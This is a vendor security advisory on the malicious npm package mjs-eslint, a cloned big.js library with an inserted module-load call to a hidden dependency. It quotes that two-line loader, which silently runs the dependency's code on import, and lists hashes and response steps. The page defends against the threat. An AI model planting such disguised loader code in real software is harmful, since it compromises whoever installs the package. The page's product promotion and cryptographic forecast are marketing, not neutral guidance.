Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

mjs-eslintnpm

mjs-eslint is a confirmed malicious npm package (MAL-2026-6223) that executes malicious code on install (malicious versions 7.0.5, 7.0.6, 7.0.7). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in mjs-eslint (npm)

MAL-2026-6223
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall mjs-eslint

What this malware does

The package is published as 'mjs-eslint' but its description, file layout (big.js, big.mjs), and source are a verbatim copy of the legitimate big.js arbitrary-precision arithmetic library by Michael Mclaughlin. Two lines have been inserted into the IIFE at big.js:605-606 (and identically in big.mjs:605-606): const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. The corresponding dependency "ts-eslint-helper": "^4.0.1" is declared in package.json. This call fires at module load on any require('mjs-eslint') or import of the package, executes asynchronously, and silently swallows all errors via .catch(()=>{}). An arithmetic library has no legitimate reason to load a 'ts-eslint' helper at module init, and the name mismatch between the host package (mjs-eslint), the cloned library (big.js), and the dependency (ts-eslint-helper) is the canonical pattern of hiding the payload one hop away in a transitive dependency to evade scanners. Installer harm: any consumer who requires this package pulls in and executes whatever ts-eslint-helper's from_str() contains, with no visible signal.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

3 flagged
7.0.57.0.67.0.7

Indicators of compromise (SHA-256)

51c6776509c718cebce5fe0ef0f5be73ede28f3be69888bfadff198f25ac2df6
e808f874aa327bf9ec78a5d171a97dbd6197066f6f5b4d8fb7a91f810603b9fb
93c5700c2617caa022a344a698c2a24c1eff9e727a687c0c2e269b112e2afa07
b5dadb5553b65d3fbc31fcfda7997c36a79d8cd62f5fb5a59c0cbd7e6af4ed15

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for mjs-eslint (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging mjs-eslint across your stack and pipelines.

  2. If you installed it — respond

    Remove mjs-eslint from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If mjs-eslint was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks mjs-eslint before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. mjs-eslint on npm has been identified as a malicious package (versions 7.0.5, 7.0.6, 7.0.7 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007069GHSA-r6f7-88jj-mg66IN-MAL-2026-019271IN-MAL-2026-019270

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks mjs-eslint-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

mjs-eslint (npm) malicious package — MAL-2026-6223 | O3 Security